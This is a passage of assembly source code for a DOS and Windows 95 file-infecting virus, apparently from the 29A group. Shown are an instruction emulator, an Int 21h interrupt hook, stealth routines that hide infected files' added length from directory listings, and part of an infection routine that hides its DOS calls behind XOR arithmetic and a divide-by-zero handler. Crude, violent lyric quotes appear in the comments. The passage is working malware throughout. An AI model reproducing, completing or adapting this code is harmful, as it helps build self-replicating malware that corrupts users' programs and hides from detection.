@Sjmp:                      ; Short jump to somewhere

        mov     ax,word ptr [si+1]
        add     ax,3
        add     word ptr cs:[_ip],ax ; Sets new IP address
        jmp     get&exec_instruction



            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; far jump instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Fjmp:

        inc     si
        lodsd
        mov     dword ptr cs:[_ip],eax

        jmp     get&exec_instruction


            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; conditional jumps
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Jojmp:
        call    @getflags
        jo      @Njmp
        jmp     @bytes2

@Jnojmp:                    ; Jump if not overflow
        call    @getflags
        jno     @Njmp
        jmp     @bytes2
@Jbjmp:                     ; Jump if below
        call    @getflags
        jb      @Njmp
        jmp     @bytes2
@Jnbjmp:                    ; Jump if not below
        call    @getflags
        jnb     @Njmp
        jmp     @bytes2
@Jzjmp:                     ; Jump if zero
        call    @getflags
        jz      @Njmp
        jmp     @bytes2
@Jnzjmp:                    ; Jump if not zero
        call    @getflags
        jnz     @Njmp
        jmp     @bytes2
@Jbejmp:                    ; etc
        call    @getflags
        jbe     @Njmp
        jmp     @bytes2
@Jajmp:
        call    @getflags
        ja      @Njmp
        jmp     @bytes2
@Jsjmp:
        call    @getflags
        js      @Njmp
        jmp     @bytes2
@Jnsjmp:
        call    @getflags
        jns     @Njmp
        jmp     @bytes2
@Jpejmp:
        call    @getflags
        jpe     @Njmp
        jmp     @bytes2


            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; LOOPNZ instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
@Mloopnz:               ; Will jump if CX=1 ( to 0 ), or if Zero flag=1

        dec     word ptr cs:[_cx]       ; =0 ?
        jz      @@FinalLoop
        call    @getflags
        jz      @@FinalLoop             ; Zero ?

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; short jump instruction ( inside )
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Njmp:
        inc     si
        call    @Add_or_sub_IP
        jmp     get&exec_instruction


@Jpojmp:
        call    @getflags
        jpo     @Njmp
        jmp     @bytes2
@Jljmp:
        call    @getflags
        jl      @Njmp
        jmp     @bytes2
@Jgejmp:
        call    @getflags
        jge     @Njmp
        jmp     @bytes2
@Jlejmp:
        call    @getflags
        jle     @Njmp
        jmp     @bytes2
@jgjmp:
        call    @getflags
        jg      @Njmp
        jmp     @bytes2
@Mjcxz:
        cmp     word ptr cs:[_cx],0
        jz      @Njmp
        jmp     @@FinalLoop

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; near jump emulation ( for some )
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-

@Add_or_sub_IP:
        xor     ax,ax
        lodsb
        cmp     al,80h
        jb      @Add_IP
        mov     dx,100h
        inc     al
        inc     al
        sub     dx,ax
        xor     dh,dh
        sub     word ptr cs:[_ip],dx
        ret
@Add_IP:
        inc     ax
        inc     ax
        add     word ptr cs:[_ip],ax
        ret

            ;-ú-úú-ú-ú--ú-ú--ú-ú--úú--ú-ú--ú-úú
            ; 0FFh instruction
            ;-úú-ú--ú-ú--ú-úú-úúú-ú--ú-ú--ú-úú-
opcodeFFflag:   db 0
@0FFh:

; 0ffh beggining instructions are handled on a different way than the
;others; as we see, 50% of this instructions cannot be emulated by the
;executor and need a special consideration: beeing 80h opcodes, a specific
;routine for each one would mean a quantity of bytes we don't have, nor
;want. So, this is solved by just debugging the next instruction on simple
;step mode, tracing; the instructions with 0ffh, anyway, do not represent
;any danger for the stability of the emulation even if they are just traced.

        mov     byte ptr cs:[opcodeFFflag],0

        mov     ax,3501h        ; Int1h
        int     21h
        push    es bx
        mov     ax,2501h
        push    ax

        mov     word ptr cs:[where2jump+2],ds

        cmp     byte ptr cs:[_pref],0
        jz      @@PrefijoNoPresente
        dec     si

@@PrefijoNoPresente:


        mov     word ptr cs:[where2jump],si
        push    cs
        pop     ds
        lea     dx,@Debugging1
        int     21h


        push    offset @continue_tra

@set_registers_emu:
        std
        lea     si,_flags
        mov     cx,10d
push_em_shit:
        lodsw
        push    ax
        loop    push_em_shit
        cld
        call    pop_all_regs
        ret

@continue_tra:
        mov     word ptr cs:[_ss2],ss
        mov     word ptr cs:[_sp2],sp

cli

        pushf
        pop     ax
        or      ah,01h
        push    ax
        popf

        mov     ss,word ptr cs:[_ss]
        mov     sp,word ptr cs:[_sp]

        db 0eah

where2jump:     dw      0,0

@@replace:                  ; After execution is made.

        mov     ss,word ptr cs:[_ss2]
        mov     sp,word ptr cs:[_sp2]

        pushf
        pop     ax
        and     ah,0feh
        push    ax
        popf

        sti

@retornodealla:
        pop     ax dx ds
        int     21h

        jmp     get&exec_instruction


@Debugging1:

        push    es ds si ax

        mov     si,sp
        add     si,8
        push    ss
        pop     ds
        lodsw
        push    ax
        lodsw
        push    ax
        pop     ds si


        cmp     byte ptr cs:[opcodeFFflag],1
        jnz     @@Debno
        push    ss cs
        pop     es ds
        mov     si,sp
        add     si,08h

        lea     di,_ip
        movsd

        add     sp,0eh

        jmp     @@replace

@@Debno:

        push    bx ax cs ds
        pop     ax bx
        cmp     ax,bx
        pop     ax bx
        jz      @@Deb2

@@Deb1:
        mov     byte ptr cs:[opcodeFFflag],1
@@Deb2:

        pop     ax si ds es

        iret


;-ú--ú-ú-ú--ú--ú-ú--úú-ú-úú-ú--ú-ú--ú-úú-ú-ú--ú-ú--ú-úú-ú-úú-ú-ú--ú-ú--ú-ú-ú-
;                       Instructions execution zone
;ú-ú--ú--ú-ú--ú-úú-ú--ú-úú-ú-úú-úúú-ú--ú-ú--ú--ú-ú--ú-ú--ú-úú-ú-ú--ú-úú-ú-ú--

ejecuci¢n:

        call    push_all_regs

        push    cs
        pop     ds
        call    @set_registers_emu
        mov     word ptr cs:[_ss2],ss
        mov     word ptr cs:[_sp2],sp


cli
        mov     ss,word ptr cs:[_ss]
        mov     sp,word ptr cs:[_sp]

        nop                             ; Neccesary nops ( prefixes+rep )
execi:  db      6 dup (90h)             ; Six nops to place instruction
cli

        mov     word ptr cs:[_ss],ss
        mov     word ptr cs:[_sp],sp
        mov     ss,word ptr cs:[_ss2]
        mov     sp,word ptr cs:[_sp2]
sti

        call    push_all_regs       ; Store registers again
        push    cs
        pop     ds
        lea     di,[_ds]
        mov     cx,10d
@store_regs_emu:
        pop     ax
        stosw
        loop    @store_regs_emu





        dec     byte ptr cs:[_csflag]
        jnz     @@_notCs
        push    word ptr cs:[_ds2]
        pop     word ptr cs:[_ds]
@@_notCs:
        mov     byte ptr cs:[_csflag],0


        call    pop_all_regs
        jmp     get&exec_instruction

;*****************
;           Push & Pop Registers
;                   ******************

push_all_regs:
                               ; Pushes all registers
        pop     cs:word ptr [call_flag]   ;
        pushf
        push    bp di si dx cx bx ax es ds
        push    cs:word ptr [call_flag]
        ret

pop_all_regs:
                              ; Restores all registers

        pop     cs:word ptr [call_flag]
        pop     ds es ax bx cx dx si di bp
        popf
        push    cs:word ptr [call_flag]
        ret

call_flag:      dw      0

offset_table:

    dw  offset @variable1,  offset @variable1,  offset @variable1   ; 00h-02h
    dw  offset @variable1,  offset @bytes2,     offset @bytes3      ; 03h-05h
    dw  offset @pushstack,  offset @bytes1,     offset @variable1   ; 06h-08h
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; 09h-0bh
    dw  offset @bytes2,     offset @bytes3,     offset @pushstack   ; 0ch-0eh
    dw  offset @bytes1                                              ; 0fh

    dw  offset @bytes1,     offset @bytes1,     offset @wrongkind   ; 60h-62h
    dw  offset @wrongkind,  offset @wrongkind,  offset @wrongkind   ; 63h-65h
    dw  offset @wrongkind,  offset @wrongkind,  offset @bytes3      ; 66h-68h
    dw  offset @wrongkind,  offset @wrongkind,  offset @wrongkind   ; 69h-6bh
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; 6ch-6eh
    dw  offset @bytes1                                              ; 6fh

    dw  offset @Jojmp,      offset @Jnojmp,     offset @Jbjmp       ; 70h-72h
    dw  offset @Jnbjmp,     offset @Jzjmp,      offset @Jnzjmp      ; 73h-75h
    dw  offset @Jbejmp,     offset @Jajmp,      offset @Jsjmp       ; 76h-78h
    dw  offset @Jnsjmp,     offset @Jpejmp,     offset @Jpojmp      ; 79h-7bh
    dw  offset @Jljmp,      offset @Jgejmp,     offset @Jlejmp      ; 7ch-7eh
    dw  offset @jgjmp                                               ; 7fh

    dw  offset @variable2,  offset @variable3,  offset @variable2   ; 80h-82h
    dw  offset @variable2,  offset @variable1,  offset @variable1   ; 83h-85h
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; 86h-88h
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; 89h-8bh
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; 8ch-8eh
    dw  offset @variable1                                           ; 8fh

    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; 90h-92h
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; 93h-95h
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; 96h-98h
    dw  offset @bytes1,     offset @Fcall,      offset @bytes1      ; 99h-9bh
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; 9ch-9eh
    dw  offset @bytes1                                              ; 9fh

    dw  offset @bytes3,     offset @bytes3,     offset @bytes3      ; a0h-a2h
    dw  offset @bytes3,     offset @bytes1,     offset @bytes1      ; a3h-a5h
    dw  offset @bytes1,     offset @bytes1,     offset @bytes2      ; a6h-a8h
    dw  offset @bytes3,     offset @bytes1,     offset @bytes1      ; a9h-abh
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; ach-aeh
    dw  offset @bytes1                                              ; afh

    dw  offset @bytes2,     offset @bytes2,     offset @bytes2      ; b0h-b2h
    dw  offset @bytes2,     offset @bytes2,     offset @bytes2      ; b3h-b5h
    dw  offset @bytes2,     offset @bytes2,     offset @bytes3      ; b6h-b8h
    dw  offset @bytes3,     offset @bytes3,     offset @bytes3      ; b9h-bbh
    dw  offset @bytes3,     offset @bytes3,     offset @bytes3      ; bch-beh
    dw  offset @bytes3                                              ; bfh

    dw  offset @variable2,  offset @variable2,  offset @RetNum      ; c0h-c2h
    dw  offset @RetKind,    offset @variable1,  offset @variable1   ; c3h-c5h
    dw  offset @variable2,  offset @variable3,  offset @wrongkind   ; c6h-c8h
    dw  offset @wrongkind,  offset @RetfNum,    offset @RetfKind    ; c9h-cbh
    dw  offset @bytes1,     offset @interrupt,  offset @bytes1      ; cch-ceh
    dw  offset @IretKind                                            ; cfh

    dw  offset @variable1,  offset @variable1,  offset @variable1   ; d0h-d2h
    dw  offset @variable1,  offset @bytes2,     offset @bytes2      ; d3h-d5h
    dw  offset @wrongkind,  offset @bytes1,     offset @variable1   ; d6h-d8h
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; d9h-dbh
    dw  offset @variable1,  offset @variable1,  offset @variable1   ; dch-deh
    dw  offset @variable1

    dw  offset @MLoopnz,    offset @MLoopz,     offset @MLoop       ; e0h-e2h
    dw  offset @MJcxz,      offset @bytes2,     offset @bytes2      ; e3h-e5h
    dw  offset @bytes2,     offset @bytes2,     offset @SCall       ; e6h-e8h
    dw  offset @Sjmp,       offset @Fjmp,       offset @NJmp        ; e9h-ebh
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; ech-eeh
    dw  offset @bytes1                                              ; efh

    dw  offset @bytes1,     offset @wrongkind,  offset @@NotCsPrefix; f0h-f2h
    dw  offset @@NotCsPrefix, offset @bytes1,   offset @bytes1      ; f3h-f5h
    dw  offset @variable2,  offset @Variable3,  offset @bytes1      ; f6h-f8h
    dw  offset @bytes1,     offset @bytes1,     offset @bytes1      ; f9h-fbh
    dw  offset @bytes1,     offset @bytes1,     offset @0FEh        ; fch-feh
    dw  offset @0FFh



        ; **********************
        ; Opcodes for emulation
        ; **********************

_csflag:db      0
_ds2:   db      0
_Pref:  db      0
_ip:    dw      0
_cs:    dw      0
_ds:    dw      0
_es:    dw      0
_ax:    dw      0
_bx:    dw      0
_cx:    dw      0
_dx:    dw      0
_si:    dw      0
_di:    dw      0
_bp:    dw      0
_flags: dw      0
_ss:    dw      0
_sp:    dw      0
_ss2:   dw      0
_sp2:   dw      0
_stack: db      350d dup (00h)
_endstack label byte
_stack2: db     300d dup (00h)
_endstack2 label byte

_usemode:   dw  0
_theresacall:  db  0





;****************************************************************************
;                           Diverse subroutines
;****************************************************************************


check_dos_version:

        mov     ah,30h
        int     21h
        cmp     al,7d
        ret

get_sft:
        push    bx
        mov     ax,1220h
        int     2fh
        jc      @@go_out
        xor     bx,bx
        mov     bl,byte ptr es:[di]
        mov     ax,1216h
        int     2fh             ; In ES:DI we get the Sft entry that
        clc
@@go_out:
        pop     bx
        ret                     ;belongs to the actual file.



rehandle:

        cld
        mov     di,word ptr cs:[jump_handle]        ; Place to handle
        mov     es,word ptr cs:[jump_handle+2]
        push    cs
        mov     al,0eah
        stosb
        mov     ax,offset int21handler
        stosw
        pop     ax
        stosw
        ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                              FCB Stealth
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; He is the angel with the scabbed wings hard-drug face want to powder his
;nose. He will deflower the freshest crop dry up all the wombs with his
;rock and roll sores.
;

fcb:
        call    pop_all_regs

        pushf                           ; The same old routine
        call    dword ptr cs:[Int21h]   ;for Fcb stealth ( nothing
        test    al,al                   ;new, aren't you bored
        jnz     nada_de_stealth         ;about this ones ? )
        call    push_all_regs

        mov     ah,51h
        int     21h
        mov     es,bx
        cmp     bx,es:[16h]
        jnz     Not_infected

        mov     bx,dx
        mov     al,byte ptr [bx]
        push    ax
        mov     ah,2fh
        int     21h
        pop     ax
        inc     al
        jnz     Normal_FCB
        add     bx,7h

Normal_FCB:
        mov     al,es:[bx+17h]
        and     al,1eh
        xor     al,1eh
        jnz     Not_infected

        sub     word ptr es:[bx+1dh],Virus_size+200h
        sbb     word ptr es:[bx+1fh],0
        and     byte ptr es:[bx+17h],06bh

Not_infected:

        call    pop_all_regs

nada_de_stealth:

        mov     byte ptr cs:[InVirus],0
        cmp     word ptr cs:[int21h_plural],0
        jz      w95whit

        push    es di ax
        call    rehandle
        pop     ax di es
        mov     ss,word ptr cs:stack_old+2
        mov     sp,word ptr cs:stack_old

w95whit:
        retf    2


set_a_pair_values:
        mov     byte ptr cs:[_theresacall],1    ; Dos=HMA ?
        mov     word ptr cs:[_usemode],0201h    ;OPTIMIZE !!!
        call    Code_Emulator
        ret

fuck_the_rules:
        push    ss
        pop     word ptr cs:[_ss]            ; Set stack
        mov     word ptr cs:[_sp],offset _endstack
        ret

Strapping_Young_Lad:

        mov     ah,40h                      ; First 3 bytes
        mov     cx,3
        lea     dx,comjmp
        call    call_21h
        ret

Smack_My_Bitch_UP:

        sub     ax,0ff00h
        mov     word ptr cs:[BP_Init],ax    ; Delta adjust
        mov     word ptr cs:[Another_BP],ax
        ret



;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                              Int 21h handler
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;  And I control you, guy. Total control. Sickness. Cold. Do you want to die
; with me today ?
;

InVirus:
        db      0

int21handler:

        mov     byte ptr cs:[InVirus],1
        cmp     ax,0cacah       ; Tsr check
        jnz     @Fale_ok

        cmp     esi,'_29A'
        jnz     @Fale_ok

        mov     esi,'RULZ'                  ; Original, isn't it ? :-P
        mov     byte ptr cs:[InVirus],0
        iret

@Fale_ok:

        mov     word ptr cs:stack_old+2,ss
        mov     word ptr cs:stack_old,sp
        push    cs
        pop     ss
        mov     sp,offset _endstack2-2

        call    push_all_regs

        cld
        push    cs                  ; As if nothing happened in int21h
        pop     ds
        mov     es,word ptr cs:[jump_handle+2]
        mov     di,word ptr cs:[jump_handle]
        lea     si,saved21
        movsd
        movsb


        cmp     ax,04b00h
        jz      close_file
        cmp     ah,11h
        jz      fcb
        cmp     ah,12h
        jz      fcb
        cmp     ah,4eh
        jz      handle
        cmp     ah,4fh
        jz      handle

We_finish_here_anyway:

        xor     ax,ax
        mov     es,ax
        push    cs

        mov     word ptr es:[0004h],offset Trace_01
        pop     word ptr es:[0006h]

        mov     byte ptr cs:[trace_flag],5d

_HowMuch        equ     $-1         ; To set how much to trace

finished:

        call    pop_all_regs

        push    ax
        pushf
        pop     ax                      ; Trap flag
        or      ah,01h
        push    ax
        popf
        pop     ax

        mov     ss,word ptr cs:stack_old+2
        mov     sp,word ptr cs:stack_old


@Returnboy:

jumper: db      0eah            ; call xxxx:yyyy
jump_handle:dw      0,0
saved21: db     10d dup (?)
trace_off: dw   0,0

Trace_01:

        call    push_all_regs

        mov     di,sp
        mov     ax,word ptr ss:[di+22d]
        push    cs
        pop     di
        sub     ax,di
        jz      Alacalleostias

        dec     byte ptr cs:[trace_flag]
        jnz     Alacalleostias          ; Done !

        call    rehandle

        call    pop_all_regs

        mov     word ptr cs:[_Ax],ax
        add     sp,4d
        pop     ax
        and     ah,0feh
        push    ax
        popf
        sub     sp,6d
        mov     ax,word ptr cs:[_Ax]
        mov     byte ptr cs:[InVirus],0

        iret

Alacalleostias:

        call    pop_all_regs

        iret

stack_old: dw 0,0
Trace_flag: db 0


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                       ALTERNATE INT 21h HANDLER
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Alternate_21_handler:

        cmp     ax,0cacah       ; Tsr check ( temporal )
        jnz     @NoTsrCheck
        cmp     esi,'_29A'
        jnz     @NoTsrCheck
        mov     esi,'RULZ'                  ; :-P
        iret

tha_difference  equ not_W95-We_finish_here_anyway

@NoTsrCheck:

        call    push_all_regs
        add     word ptr cs:[return_point],tha_difference
        xor     ax,029ah
        cmp     ax,4b00h xor 029ah  ; 4b00h xor 029ah
        jnz     not_inf_W95
        jmp     EXE_W95_Infect

not_inf_W95:

        cmp     ax,714eh xor 029ah
        jz      W95_Stealth
        cmp     ax,714fh xor 029ah
        jz      W95_Stealth
        cmp     ah,4eh xor 02h
        jz      StealthHandle
        cmp     ah,4fh xor 02h
        jnz     not_W95
StealthHandle:
        sub     word ptr cs:[return_point],tha_difference
        jmp     handle
not_W95:
        cmp     ah,11h xor 02h
        jz      FCB_St
        cmp     ah,12h xor 02h
        jnz     not_FCB
FCB_st:
        sub     word ptr cs:[return_point],tha_difference
        jmp     fcb
not_FCB:

        sub     word ptr cs:[return_point],tha_difference
        call    pop_all_regs


        jmp     j21


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                            HANDLE STEALTH
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Nothing exists. Nothing has sense. Not nothing. Not a fuck. Fuck it.
;
; Fuck it off.
;

handle:
        call    pop_all_regs

        pushf                           ; Handle stealth, functions
        call    dword ptr cs:[Int21h]   ;4eh/4fh. The most original
        jc      handle_out              ;routines in some viruses ;)
        pushf
        push    dx ax es bx di

        mov     ah,2fh
        int     21h
        mov     al,es:[bx+16h]
        and     al,1eh
        xor     al,1eh
        jnz     not_infec
        sub     word ptr es:[bx+1ah],Virus_size+200h
        sbb     word ptr es:[bx+1ch],0
        and     byte ptr es:[bx+16h],06bh
not_infec:
        pop     di bx es ax dx
        popf

handle_out:
        pushf
        mov     byte ptr cs:[InVirus],0
        cmp     word ptr cs:[int21h_plural],0
        jnz     No_Estamos_en_95
        popf
        retf    2

No_Estamos_en_95:
        popf
        call    push_all_regs
        call    rehandle       ; REPONER CO¥O !
        call    pop_all_regs
        mov     ss,word ptr cs:stack_old+2
        mov     sp,word ptr cs:stack_old

Estamos_en_95:
        retf    2


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                      Windows 95 Ms-Dos stealth
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;       Win95 stealth:
;
;       W95's Ms-Dos 7.0 performs the "dir" instruction by means of
; int21h's 714eh and 714fh functions ( FindFirst/FindNext ). Anyway, by
; the method this virus infects, it's just impossible to stealth directly
; there because we can't check if the virus is infected.
;
;       When FindFirst/FindNext functions are called, the results are
; beeing stored not in a DTA as usual in previous DOS versions, but in a
; W32_FIND_DATA structure. You can easily find a description from this,
; but really what we only care about is the place where the file length
; is stored, that's a DD in the offset 1ch and another in the offset 20h,
; beeing the second the Low DD of the file length and the first one the
; High DD of file length.
;
;       So, as 714e/f is called, the OS passes in ES:DI where this
; structure is. We can substract then the virus length to the offset 20h
; ( and sbb in 1ch, which wouldn't be really necesarry ); but how do we
; check the date if it's set to 61/62 seconds ?
;
;       We can't. Let's look at the offset of LastAccessTime, which is
; 0ch, or at the offset LastWriteTime, which is 14h. They have "FILETIME"
; format, that is, two DDs with Low and High filetime. The bad stuff is,
; it's stored in nanoseconds*10^2 from January 1, 1601 (!!!) as the
; documentation tells us. So, you should have noticed by now that then it's
; impossible to check if the seconds were set at a "strange" position, as
; it's stored in seconds^(-7) ! ( so where's the Y2K problem that W98 tells
; us is aware of ? )
;
;       Well, I made the easy "old dos" solution, which goes fast in a slow
; W95, and the most important, works perfect; just open the file, get the
; file time by 5700h funtion, and decrease in the W32_FIND_DATA the virus
; size if it's infected ;-).
;
;

W95_Stealth:

        sub     word ptr cs:[return_point],tha_difference
        call    pop_all_regs
        pushf
        call    dword ptr cs:[int21h]

        call    push_all_regs

        push    es
        pop     ds
        mov     dx,di
        add     dx,2ch
        mov     ax,3d00h
        call    call_21h
        jc      dont_stealth_w95
        xchg    ax,bx

        xor     bp,bp
        mov     ax,5700h
        call    call_21h
        and     cl,1eh
        xor     cl,1eh
        jnz     close_stealth
        inc     bp

close_stealth:
        mov     ah,03eh
        call    call_21h

                ; The date is in EDX:EAX, in FILETIME format, that is,
                ;in nanoseconds*100d, ( 1 nano = 10^(-9) )

        dec     bp
        jnz     dont_stealth_w95

                        ; Substract virus size

        sub     dword ptr es:[di+20h],virus_size+200h
        sbb     dword ptr es:[di+1eh],0

dont_stealth_w95:

        call    pop_all_regs

        retf    2

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                             File infection
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;   They say solution is seek and destroy. Ambition. You've gotta fight for
; their wealth, you've gotta compete against others,  you've  gotta  follow
; their dogmas; so, maybe one day they'll  get  you  to  their  Kingdom  of
; Nothing.
;
;   Have you wondered why their only desire is keeping you far away from the
; nonsense ?
;


attak_file:

close_file:

        push    offset @end_found

front_door:

        in      al,40h
        mov     byte ptr cs:[outta_crypt],al


        mov     ax,3500h
        call    call_21h
        mov     word ptr cs:[int0h],bx
        mov     word ptr cs:[int0h+2],es

        mov     bp,0ad54h                ; Base pointer :PPPP mwahaha
        xor     ax,bp
        sub     ax,7354h
        push    cs
        pop     ds
        mov     dx,offset int0handler
        call    call_21h                ; 2500h

        xor     ax,bp                       ; 3524h
        add     ax,0acd0h
        push    bp
        xor     bp,bp
        div     bp
        mov     word ptr cs:[int24h],bx
        mov     word ptr cs:[int24h+2],es

        add     ax,0f000h                   ; 2524h
        mov     dx,offset int24handler
        div     bp
        pop     si
        add     ax,si
        add     ax,5290h
        mov     ds,word ptr cs:[int8h+2d]
        mov     dx,word ptr cs:[int8h]
        div     bp                          ; 2508

        pop     word ptr cs:[buffercom]
        call    pop_all_regs

        call    push_all_regs
        push    word ptr cs:[buffercom]

        mov     si,dx
@find_end:                              ; Search for end of file name ( 0 )
        lodsb
        or      al,al
        jnz     @find_end
        ret

int24handler:                           ; Why not here ? :-P
        mov     al,3
        iret
int24h:
        dw      0,0

@end_found:

        sub     si,4
        mov     bp,0ffffh
        mov     di,bp                   ; Later
        inc     di
        cmp     word ptr ds:[si],'OC'
        jz      @Likely_Com

@Likely_Exe:
        cmp     word ptr ds:[si],'XE'
        jz      It_is_Xe
        jmp     end_infection
It_is_Xe:
        inc     bp


@Likely_Com:
        mov     si,09cd4h       ; AX
        mov     ax,si
        add     ax,0a02ch           ; 3d00h :-)
        div     di

        jc      end_infection
        xchg    ax,bx

        call    get_sft
        jc      end_infection

        push    cs
        pop     ds

        push    word ptr es:[di+04h]
        mov     byte ptr es:[di+04h],0      ; Attribs 2 zero
        mov     byte ptr es:[di+02h],2      ; Write/read mode
        mov     ax,word ptr es:[di+0dh]     ; Infection mark.
        mov     cx,01eh
        and     al,cl
        xor     al,cl
        jz      rest_attrs
        push    word ptr es:[di+0dh]
        push    word ptr es:[di+0fh]


;*Final_Check*

                    ; 1eh

        push    bp
        xor     ax,ax
        mov     bp,ax
        mov     ah,cl
        lea     dx,buffercom                ; ah = 3fh ( read 01ch bytes )
        add     ax,0de00h                   ; 0fch
        add     ax,04300h
        div     bp
        pop     bp

        xchg    si,dx                   ; Is it an exe header ?
        lodsw
        xor     ah,al
        xor     ah,('M' xor 'Z')
        jnz     @Non_Exe_Phile
        inc     bp
@Non_Exe_Phile:
        inc     bp
        jnz     Infect_Exe
;*Final_Check_Ends*

                    ; Inserting possibility

        cmp     word ptr es:[di+11h],07f00h ; 32 Kb max for inserting
        ja      @append                     ; ( 32Kb - 100h bytes for Psp )

        call    EMS_IVT                     ; Check if EMS vector 67h

        jz      @append

        mov     ah,40h                      ; EMS there ?
        int     67h
        or      ah,ah
        jnz     @append

        call    EMS_Get             ; DS = SEGMENT, DX = HANDLE, BX = FHANDLE

        call    push_all_regs

; Inserting infection

        mov     dx,100h
        mov     word ptr es:[di+15h],0      ; Load file at ds:0100h
        mov     ah,3fh
        mov     cx,word ptr es:[di+11h]
        call    call_21h

        mov     word ptr cs:[_ip],100h
        mov     word ptr cs:[_cs],ds
        mov     word ptr cs:[_ds],ds
        mov     word ptr cs:[_es],ds
        mov     word ptr cs:[_cx],cx
        call    fuck_the_rules
        xor     ax,ax
        mov     ds,ax
        mov     ah,byte ptr ds:[46ch]
        inc     al                  ; Mode 02 ( checking for instruction
        inc     al                  ;length )
        mov     word ptr cs:[_usemode],ax
        call    code_emulator

        call    pop_all_regs
        push    dx

        mov     ax,word ptr cs:[_ip]
        sub     ax,3h   ; Para ajustar a la posici¢n anterior
        mov     word ptr cs:[ret_pos],ax        ; Return address
        sub     ax,100h
        mov     word ptr es:[di+15h],ax     ; Where to put the jmp
        push    ax
        mov     ah,3fh
        mov     cx,3h
        push    cs      ; innecesario ?
        pop     ds
        lea     dx,buffercom
        call    call_21h
        pop     si          ; SI = Place of inserting


        mov     ax,word ptr es:[di+11h]
        mov     word ptr es:[di+15h],ax
        push    ax
        call    Smack_My_Bitch_UP
        xor     bp,bp
